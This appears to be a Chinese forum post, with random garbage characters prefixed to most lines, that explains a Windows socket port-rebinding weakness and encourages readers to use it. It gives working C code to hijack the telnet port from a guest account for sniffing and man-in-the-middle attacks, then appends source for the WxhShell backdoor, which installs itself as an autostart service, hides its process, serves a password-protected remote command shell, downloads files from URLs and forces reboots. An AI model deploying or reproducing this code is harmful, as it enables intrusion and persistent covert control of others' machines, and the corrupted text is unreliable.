在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
XyhOd$) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\mc~w4B[)3 &5d>jEaB} saddr.sin_family = AF_INET;
H`@x5RjS "t_] Qu6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
h r6f}2 3'&]v6| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
iQa Q"s 2?
!b! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
E) z g,7Y RNvtgZ}k{X 这意味着什么?意味着可以进行如下的攻击:
lBh {8a|2W O4$:
xjs 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
u%*;gu"2 =}c~BHT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)XO2DY1/& R!$j_H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_TX.}167;- /Zv }u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
GB[W'QGiq U}Hmzb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c yN_Sg f$WO{J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
C t SAo\F t9P` nfY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Y}f%/vus U_I'Nz!^t #include
CB|z{(&N #include
j@9nX4Z #include
l_f"}l #include
oN _%oc DWORD WINAPI ClientThread(LPVOID lpParam);
{I2j Lc int main()
kc"U)> {
\*_a#4a WORD wVersionRequested;
![Jxh,f DWORD ret;
*2@q=R-1 WSADATA wsaData;
<,cD EN7 BOOL val;
8@$QN4^u^ SOCKADDR_IN saddr;
lXz<jt@5 SOCKADDR_IN scaddr;
$\P!P. int err;
X)uT-F y SOCKET s;
g" M1HxlV SOCKET sc;
O>k. sO
< int caddsize;
+pjD{S~Y HANDLE mt;
,g\.C+.S DWORD tid;
,%ajIs"Gi wVersionRequested = MAKEWORD( 2, 2 );
'-v~HwC+/T err = WSAStartup( wVersionRequested, &wsaData );
#4"\\ if ( err != 0 ) {
oEi+S)_ printf("error!WSAStartup failed!\n");
mX2Qf8 return -1;
;2X1 qw> }
xSLN saddr.sin_family = AF_INET;
wL%> zizrc.g/Yg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0q62 {p7 WnIh (
0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
E26ZVFg saddr.sin_port = htons(23);
1[}VyP6 e if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@7BH`b$)! {
~^3B(feQ]
printf("error!socket failed!\n");
f8uVk|a return -1;
^R2:Z&Iv% }
4QDF%#~q^ val = TRUE;
=RQ>q //SO_REUSEADDR选项就是可以实现端口重绑定的
)T2Sw z/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h<uRlTk {
n
~
=]/ printf("error!setsockopt failed!\n");
#~ >0Dr return -1;
?. ~@ lE }
3[ Z? `X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
fCF9 3,?$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b8`O7@ar //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%F{@DN` Z~P5SEg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2#py>rF(
{
|:EUh ret=GetLastError();
2=U4'C4# printf("error!bind failed!\n");
l[h??C` return -1;
A>'o5+ }
\s)j0F)
listen(s,2);
{cG&l:-r while(1)
5qFqH {
]p$fEW g caddsize = sizeof(scaddr);
_/PjeEm
$p //接受连接请求
`|]juc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7,
O_'T & if(sc!=INVALID_SOCKET)
]C'r4Ch^ {
.-<o[(s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,NVQ C= if(mt==NULL)
~>qcV=F^d, {
=MoPOib\n printf("Thread Creat Failed!\n");
t/y0gr tm6 break;
WMYvE\" }
xOEj+%M }
$)PNf'5Zg CloseHandle(mt);
-o=qYkyLK }
1o.]"~0: closesocket(s);
'jfI1 ]q WSACleanup();
a7M8sZ?" return 0;
>pn?~ }
[Si`pPvl DWORD WINAPI ClientThread(LPVOID lpParam)
<ZCjQkka>r {
xe_c`%_ SOCKET ss = (SOCKET)lpParam;
%)]{*#N4 SOCKET sc;
7MBz&wE^f unsigned char buf[4096];
H'2pmwk SOCKADDR_IN saddr;
$e0sa=/ long num;
r_Xk: DWORD val;
t&-7AjS5 DWORD ret;
fkYa //如果是隐藏端口应用的话,可以在此处加一些判断
Thz&wH`W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,.DU)Wi?} saddr.sin_family = AF_INET;
]V}";cm;2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ek3/`]V: saddr.sin_port = htons(23);
[x9eamJ,H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
539[,jH {
M`S >Q2{ printf("error!socket failed!\n");
6&h,eQ! return -1;
B6|=kl2C }
bY]aADv\ val = 100;
A.(Z0,S-i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>a]{q^0 {
X$J ret = GetLastError();
%m{h1UQQ+ return -1;
WG1x:,- }
!WAbO(l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lKwI lp {
3M/kfy ret = GetLastError();
$S3C_.. return -1;
z,$^|'pP }
ofRe4
*\j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rfoLg {
@#;~_?$?C printf("error!socket connect failed!\n");
= q;ACW,z closesocket(sc);
$FS
j^v] closesocket(ss);
ys09W+B7 return -1;
~
M@8O }
T+Du/ERL while(1)
>~2oQ[n {
9Yd<_B# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ptn0;GC //如果是嗅探内容的话,可以再此处进行内容分析和记录
U%m,:b6V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_@SC R% num = recv(ss,buf,4096,0);
iCa#OQ if(num>0)
jIg]?4bW[ send(sc,buf,num,0);
P;][i| x else if(num==0)
T[q2quXgk break;
qN[U|3k num = recv(sc,buf,4096,0);
`BF +)fs if(num>0)
~xkcQ{ send(ss,buf,num,0);
FAo\`x else if(num==0)
wNq#vn break;
8FU8E2zo }
}cEcoi<v! closesocket(ss);
c7,p5[ closesocket(sc);
H
$XO]\ return 0 ;
o4\\q66K }
yIA-+# r[ lE'2\kxI? iTwb#Q= ==========================================================
_?CyKk\I >-0Rq[) 下边附上一个代码,,WXhSHELL
0EKi?vP@y7 k`_sKr]9 ==========================================================
;M1# M: +9<"Y6 #include "stdafx.h"
}&F|u0@b mA@FJK_
#include <stdio.h>
W 2&o'(P\ #include <string.h>
6g576 #include <windows.h>
Kejp7okb #include <winsock2.h>
wQEsq< #include <winsvc.h>
l1l=52r #include <urlmon.h>
+0_e a~{ m%]1~b}" #pragma comment (lib, "Ws2_32.lib")
<Z5-?wgf9 #pragma comment (lib, "urlmon.lib")
j4k\5~yzS gF#HNv #define MAX_USER 100 // 最大客户端连接数
Py y!B #define BUF_SOCK 200 // sock buffer
3K!(/,` #define KEY_BUFF 255 // 输入 buffer
S6Y2(qdP T\?$7$/V #define REBOOT 0 // 重启
[;t-XC?[nk #define SHUTDOWN 1 // 关机
J2adG+= \|&KD #define DEF_PORT 5000 // 监听端口
kOdXbw9v WPI<SsLd #define REG_LEN 16 // 注册表键长度
1o`zAJ8|2 #define SVC_LEN 80 // NT服务名长度
4A"3C \2)D
// 从dll定义API
xsu9DzPf&{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+fS<YT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<-;/,uu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,cE yV74 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4a}[&zm(5 VK286[[fv // wxhshell配置信息
i'V(" struct WSCFG {
_rM?g1}5j int ws_port; // 监听端口
M#nlKj< char ws_passstr[REG_LEN]; // 口令
*,& 2?E8 int ws_autoins; // 安装标记, 1=yes 0=no
J/LsL
k char ws_regname[REG_LEN]; // 注册表键名
Kv0V`}<Yc char ws_svcname[REG_LEN]; // 服务名
lg"aB char ws_svcdisp[SVC_LEN]; // 服务显示名
v|\3FEu@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
aKjP{Z0k$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2Pow-o*r int ws_downexe; // 下载执行标记, 1=yes 0=no
)G#mC0?PV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/|q.q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
qYoB;gp ^G|*=~_ };
bd]9kRq1K 4>A|2+K\ // default Wxhshell configuration
!]5}N^X struct WSCFG wscfg={DEF_PORT,
@<NuuYQ& "xuhuanlingzhe",
;/:Sx/#s 1,
5`Q j< "Wxhshell",
t:MSV? "Wxhshell",
wXjidOd$ "WxhShell Service",
TyDh\f!w "Wrsky Windows CmdShell Service",
=PU($ "Please Input Your Password: ",
\~RDvsSD 1,
*5IB@^< "
http://www.wrsky.com/wxhshell.exe",
vd?Bk_d9k, "Wxhshell.exe"
8Cs;.>75[ };
m??Py"1y mG"xo^1_H // 消息定义模块
%UAF~2]g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m _cRK}> char *msg_ws_prompt="\n\r? for help\n\r#>";
E\|nP~;~F9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+F-EgF+J char *msg_ws_ext="\n\rExit.";
a`L:E'|B9 char *msg_ws_end="\n\rQuit.";
m9vX8;. char *msg_ws_boot="\n\rReboot...";
{{jV!8wK char *msg_ws_poff="\n\rShutdown...";
^M{,{bG char *msg_ws_down="\n\rSave to ";
j$K*R." AbxhNNK char *msg_ws_err="\n\rErr!";
G4uG" char *msg_ws_ok="\n\rOK!";
I`zd:o] ,AmwsXN"F char ExeFile[MAX_PATH];
>`r3@|UY int nUser = 0;
Aa=:AkrH HANDLE handles[MAX_USER];
AdVc1v&> int OsIsNt;
q.p.$) D/?Ec\t SERVICE_STATUS serviceStatus;
NMe{1RM SERVICE_STATUS_HANDLE hServiceStatusHandle;
y(o)}m*0 p}^5ru // 函数声明
RFMPh<Ac int Install(void);
=e4 r=I int Uninstall(void);
.4p3~r?=S int DownloadFile(char *sURL, SOCKET wsh);
AH|gI2 int Boot(int flag);
s'h;a5Q1'Q void HideProc(void);
=hkYQq`Q int GetOsVer(void);
} vmRm*8z int Wxhshell(SOCKET wsl);
|RFBhB/u void TalkWithClient(void *cs);
odCt6Du int CmdShell(SOCKET sock);
&W,jR|B
int StartFromService(void);
yEq7ueJ' int StartWxhshell(LPSTR lpCmdLine);
PVsKI< < cvh1~>( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0V4B Q:v VOID WINAPI NTServiceHandler( DWORD fdwControl );
n:,mo} ?X e"ehH#i // 数据结构和表定义
OvtE)ul@ SERVICE_TABLE_ENTRY DispatchTable[] =
DsejZ& {
lG}#K^q {wscfg.ws_svcname, NTServiceMain},
H/c
(m|KK {NULL, NULL}
-}#HaL#'K };
")T\_ME z5kAf~A // 自我安装
$iu[-my_ int Install(void)
.!x&d4;,q {
{%f{U"m char svExeFile[MAX_PATH];
X` zWw_i HKEY key;
m[^lu1\wn strcpy(svExeFile,ExeFile);
qOwql(vX <eoie6@3 // 如果是win9x系统,修改注册表设为自启动
|^6{3a if(!OsIsNt) {
EU$.{C_O( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^U}k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t:2v`uk RegCloseKey(key);
u=
NLR\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.\n` 4A1z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+n)n6}S RegCloseKey(key);
"2l`XH return 0;
@1MnJP }
)S
caT1I }
p+;& Gg54 }
qhEv6Yxfw6 else {
FQ]/c#J zaqX};b // 如果是NT以上系统,安装为系统服务
fSkDD>& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>?, Zn if (schSCManager!=0)
`POzwYh {
wI$a1H SC_HANDLE schService = CreateService
q` q;og
` (
`Mnu<)v schSCManager,
rmiOeS`: wscfg.ws_svcname,
9
r!zYZ`)
wscfg.ws_svcdisp,
J@s>Pe) SERVICE_ALL_ACCESS,
lN,?N{6s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
j]Jgz< SERVICE_AUTO_START,
FACw;/rW SERVICE_ERROR_NORMAL,
Y@Uk P+{f= svExeFile,
s6!6Oqh NULL,
!+eH8
NULL,
n0xGIq NULL,
Oynb"T&8 NULL,
EY,jy]|# NULL
^[M{s(b );
V'Gal` if (schService!=0)
E>!=~ 7. {
Y`;}w}EcgR CloseServiceHandle(schService);
F5h/> CloseServiceHandle(schSCManager);
@^P^-B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
CKYg!\g(: strcat(svExeFile,wscfg.ws_svcname);
CM;b_E)9)f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=p+y$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!%iHJwS# RegCloseKey(key);
=<HDek return 0;
Ld4U }
S<tw5!tJ }
M+)a6g e CloseServiceHandle(schSCManager);
Lo%n{*if }
WYw#mSp }
lW+mH= tt"<1
z@ return 1;
2 !s&|lI }
%rzPh<>e k }=<51c // 自我卸载
kZ40a\9
Ye int Uninstall(void)
Zf'*pp T&q {
z
p E| HKEY key;
apvcWF% T] zEcx+e if(!OsIsNt) {
%FO{:@CH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O tG\Uw8 RegDeleteValue(key,wscfg.ws_regname);
(}: s[cs RegCloseKey(key);
P@{x@9kI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b)LT[>f RegDeleteValue(key,wscfg.ws_regname);
L:z0cvn" RegCloseKey(key);
ag-A}k>v return 0;
;cor\R }
dzf2`@8# }
|>.Q U3 }
Cp8=8N(Xb else {
p0+^wXi) bSB%hFp=Cp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
SmRlZ!%e if (schSCManager!=0)
XYEwn_Y {
6Sr]<I +: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
fab'\|Y if (schService!=0)
3H,E8>Vd {
jvzioFCt if(DeleteService(schService)!=0) {
W(, j2pU CloseServiceHandle(schService);
3/G^V'Yu CloseServiceHandle(schSCManager);
34@ [ZKJ5 return 0;
]<;,HGO }
);5o13h2 CloseServiceHandle(schService);
>4:d) }
J K
k0f9) CloseServiceHandle(schSCManager);
C?PQ>Q!f- }
]v+<K63@T }
;_<R +w3- uO?+vYAN return 1;
)!T~l(g }
ex3Qbr *ByHTd // 从指定url下载文件
La4S/. int DownloadFile(char *sURL, SOCKET wsh)
v}B%:1P4 {
Ve,g9 I HRESULT hr;
,g*!NK_:5t char seps[]= "/";
S@qp_! char *token;
^h(wi`i char *file;
zLI0RI.Pe char myURL[MAX_PATH];
}z3j7I char myFILE[MAX_PATH];
e#"h@kZP +#O+%! strcpy(myURL,sURL);
>Vuvbo token=strtok(myURL,seps);
x#rgFY,TY while(token!=NULL)
K_7pr~D]@r {
3EoCEPb# file=token;
NvR{S /Z token=strtok(NULL,seps);
Lb*KEF% s }
^ Ltho` -yqsJGY GetCurrentDirectory(MAX_PATH,myFILE);
>I5:@6
Z strcat(myFILE, "\\");
B9v>="F strcat(myFILE, file);
-YRIe<}E - send(wsh,myFILE,strlen(myFILE),0);
F:{*4b send(wsh,"...",3,0);
HU3:6R& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+7Ws`qhEe if(hr==S_OK)
pLMt2G return 0;
Sg#XcTG else
G7Nw}cVJ) return 1;
zWsr|= [ i\R0+O{ }
OM*_%UF Y\|#Lu>B // 系统电源模块
&C 9hT int Boot(int flag)
3h@]cWp {
FpoHm%+ HANDLE hToken;
P4zo[R%4 TOKEN_PRIVILEGES tkp;
LPk@t^[ l_B735 if(OsIsNt) {
Kxe\H'rR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G\.~/<Mg+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]9@:7d6 tkp.PrivilegeCount = 1;
*S$vSDJCW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JA^o/%a^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^X#y'odtbS if(flag==REBOOT) {
]
V
D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+v~xgUs return 0;
i"{O~[ }
e#Tv5O else {
+pofN-*% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>{#JIG. return 0;
;>6< u.N }
K$E3RB_F }
TBlSZZ-55] else {
rb*|0ST if(flag==REBOOT) {
te_2"Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`lf_wB+I return 0;
-,bFGTvYQ }
tC[ZWL else {
,
X5.|9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1.hWgW DP return 0;
aSR-.r }
`~1!nfFD }
,_z79tC{s {U4!sJSl1 return 1;
/dnwN7Gf }
`e[S Zj\ "*g+qll!5d // win9x进程隐藏模块
X/_I2X void HideProc(void)
W!Tx% {
m/HT3<F bS_#3T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~.a"jYb7A} if ( hKernel != NULL )
ggso9ZlLu+ {
WBe0^=x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4GYi' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1 ZdB6U0 FreeLibrary(hKernel);
%6K7uvTq }
t)SZ2G1r |IxHtg3>6{ return;
OL'Ito }
2y[Q =8FvkNr // 获取操作系统版本
W4$o\yA] int GetOsVer(void)
(d9~z {
u{1R=ML OSVERSIONINFO winfo;
Ky3mzw| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2& Q\W GetVersionEx(&winfo);
lu utyK! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qF)J#$4;6 return 1;
u?').c4 else
:e1h!G return 0;
pEyZH!W }
I&PJ[U#~a [4KQcmJc# // 客户端句柄模块
u@a){A(P int Wxhshell(SOCKET wsl)
{v={q1 {
_H] \ SOCKET wsh;
@T1G#[C~t struct sockaddr_in client;
"Ih3 DWORD myID;
UpoSC -@Ap;,= while(nUser<MAX_USER)
GwWK'F'2 {
d0J/"< int nSize=sizeof(client);
!j~wAdHk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.)E#*kLWR if(wsh==INVALID_SOCKET) return 1;
L!f~Am:# vHaM yA- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Bfb~<rs[ if(handles[nUser]==0)
ct+F\:e closesocket(wsh);
R'c*CLaiE else
q~{)
{t; nUser++;
c
r=Q39{ }
*)^6'4= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
manw;`Q RB>=#03 return 0;
srS!X$cec }
A|biOz .:_'l)- // 关闭 socket
U1`5P!ov void CloseIt(SOCKET wsh)
J"gMm@#C4 {
D]]e6gF$e closesocket(wsh);
%0\@\fC41 nUser--;
Sv =YI ExitThread(0);
6@]o,O }
$q!A1Fgk0 (Tx_`rO4VY // 客户端请求句柄
0aT:Gy; void TalkWithClient(void *cs)
q ` S
~w {
Y:*% [\R ~ !uX"F8Xl SOCKET wsh=(SOCKET)cs;
z']6C9m} char pwd[SVC_LEN];
xj5TnE9^ char cmd[KEY_BUFF];
KGt: char chr[1];
fy+5i^{= int i,j;
g-3^</_fZ +'F;\E while (nUser < MAX_USER) {
y_PA9#v7 Lg4|6.Ez|P if(wscfg.ws_passstr) {
/R&`]9].s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!Uiq3s`1T //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_z p<en[ //ZeroMemory(pwd,KEY_BUFF);
=7!s8D,[ i=0;
qI'pjTMDY while(i<SVC_LEN) {
hs6pp/h> M+"6VtZH // 设置超时
#p+iwW- fd_set FdRead;
0kJ8H!~u struct timeval TimeOut;
Y e0,0Fpw FD_ZERO(&FdRead);
lHiWzt
u FD_SET(wsh,&FdRead);
~[H8R|j " TimeOut.tv_sec=8;
h!tpi`8\z TimeOut.tv_usec=0;
2EgvS!" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
, ['}9:f9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4U2{1aN` lpT&v;$` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&M-vKc"d pwd
=chr[0]; sRB=<E*_
if(chr[0]==0xd || chr[0]==0xa) { |v+z*}fKw
pwd=0; le*+(aw
break; :N8n6)#1=
} d` GN!^
i++; %/dOV[/
} <B@NSj
F .S^KK
// 如果是非法用户,关闭 socket F:/x7]7??Z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?NBae\6r
} !7t&d
%oBP6|e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zw#n85=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =r]l"T
Xg~9<BGsi
while(1) { stiF`l
81nD:]7
ZeroMemory(cmd,KEY_BUFF); )\])?q61
j_C"O,WS
// 自动支持客户端 telnet标准 Nu qmp7C
j=0; ?}`-?JB1
while(j<KEY_BUFF) { c0wLc,)G
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !'_7MM
cmd[j]=chr[0]; !B`z|#
if(chr[0]==0xa || chr[0]==0xd) { F{mUxo#T
cmd[j]=0; 8#!g;`~ D
break; A%#M#hD/
} sOqFEvzo1%
j++; ^i@anbH
} -9vNV:c
B/X$ZQ0
// 下载文件 Y"
=8wNbr
if(strstr(cmd,"http://")) { 97Dq;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *VsGa<V
if(DownloadFile(cmd,wsh)) ,X!) z Amm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `BmnXWMgx
else YCRE- 5!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y`9#zYgqA
} zS:2?VXxq
else { L9jT:2F
]9_gbQ
switch(cmd[0]) { eipg,EI
1;[KBYUH
// 帮助 +cfcr*
case '?': { 8SpG/gl"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y. J!]|
break; \W=3P[gb
} D%+yp
// 安装 U/'l "N[
case 'i': { G^B>C
if(Install()) RB4n>&Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k86TlQRh
else g$]WKy(D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 89>}`:xS^
break; af<h2r
} np2&W'C/i
// 卸载 p2Khfl6-
case 'r': { *AV%=
if(Uninstall()) mr7Oi `dE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D>k(#vYKB
else XQ~Xls%]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U4*u|A
break; W=HvMD
} XaCvBQ
// 显示 wxhshell 所在路径 jyD~ER}J
case 'p': { CHTK.%AQH!
char svExeFile[MAX_PATH]; R'sNMWM
strcpy(svExeFile,"\n\r"); .@): Uh
strcat(svExeFile,ExeFile); J4ZHE\
send(wsh,svExeFile,strlen(svExeFile),0); j7)mC4o:%
break; N!ihj:,
} LEM%B??&5z
// 重启 a4UwhbH
case 'b': { 2d*bF.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g8cBb5(L
if(Boot(REBOOT))
MWme3u)D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dnomnY(*<
else { *%/O (ohs@
closesocket(wsh); zG$5g^J
ExitThread(0); QM8Ic,QFvo
} R*vQvO%)h
break; ,c"J[$i$
} Vw H|ed$
// 关机 {C&Uq#V
case 'd': { 1UK= t
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "dP-e
if(Boot(SHUTDOWN)) ,c:NdY(,)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tC|?Kl7
else { i.'"`pn_
closesocket(wsh); U',C-56z
ExitThread(0); 7d
R?70Sz
} d4ecF%R
break; w:lj4Z_
} A:Wr5`FJ
// 获取shell _cvX$(Sg
case 's': { /?r A|
CmdShell(wsh); <Q(E {c3"
closesocket(wsh); Q>D//_TF
ExitThread(0); >SQzE
break; "a].v 8l!
} 6!>p<p"Ns
// 退出 XfE0P(sE
case 'x': { 6 eryf?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RWv4/=}(G
CloseIt(wsh); cW>=/
break; ef^GJTv&k
} #I?Z,;DI=
// 离开 QL8C!&=
case 'q': { 7Tk//By7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); sJx_X8
closesocket(wsh); fD@d.8nXd
WSACleanup(); Xr=BxBttp
exit(1); N `:MF 9
break; Yw#fQFm
} 9vP;i= fr
} @]q^OMLY
} Bc.de&Bxz_
K?J_cnJ`
// 提示信息 ke8g tbm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -XXsob}/8
} ic`BDkNO
} iXy1{=BDv
FbroI>" e
return; nEu:& 4
} UstUPO
S>I` y]qlR
// shell模块句柄 K-:y
int CmdShell(SOCKET sock) - (WH+
{ d7](fw@c
STARTUPINFO si; [L2+k?
*
ZeroMemory(&si,sizeof(si)); OGg\VV'
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f$QkzWvr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i[9yu-
PROCESS_INFORMATION ProcessInfo; V K6D
char cmdline[]="cmd"; we[+6Z6J
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D(ItNMcKu
return 0; ]}lt^7\=
} rlR!Tc>
Fc@R,9
// 自身启动模式 5c3-?u!
int StartFromService(void)
YA,~qT|
{ lND2Kb
typedef struct OC*28)
{ IrQ.[?C
DWORD ExitStatus; 4
9N.P;b
DWORD PebBaseAddress; nrMW5>&-`
DWORD AffinityMask; >)<?
DWORD BasePriority; }P?e31@:
ULONG UniqueProcessId; 1W'Ai"DLw
ULONG InheritedFromUniqueProcessId; SbGdcCB
